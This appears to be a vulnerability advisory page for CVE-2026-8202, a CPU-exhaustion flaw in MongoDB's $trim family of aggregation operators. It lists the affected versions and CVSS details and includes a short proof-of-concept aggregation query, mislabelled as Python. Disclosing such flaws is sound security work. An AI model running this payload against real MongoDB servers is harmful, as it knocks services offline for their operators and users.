CVE-2026-8202

Description

Using a densely populated chars mask and a large input string in the MongoDB aggregation operators $trim, $ltrim, and $rtrim, an authenticated user with aggregation permissions can pin CPU utilization at 100% for an extended period of time. This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

MongoDB Server v7.0 < 7.0.34

MongoDB Server v8.0 < 8.0.23

MongoDB Server v8.2 < 8.2.9

MongoDB Server v8.3 < 8.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// MongoDB Aggregation DoS PoC for CVE-2026-8202
// Prerequisites: Valid credentials with aggregation permissions, a target collection (e.g., 'test_collection')

db.test_collection.aggregate([
    {
        $project: {
            malicious_trim: {
                $trim: {
                    input: "A".repeat(1000000), // Large input string to cause processing load
                    chars: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+[]{}|;:,.<>?" // Dense chars mask
                }
            }
        }
    }
]);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8202
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8202
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8202/
[4] VulDB https://vuldb.com/cve/CVE-2026-8202
[5] https://jira.mongodb.org/browse/SERVER-120668

Raw JSON Data

JSON

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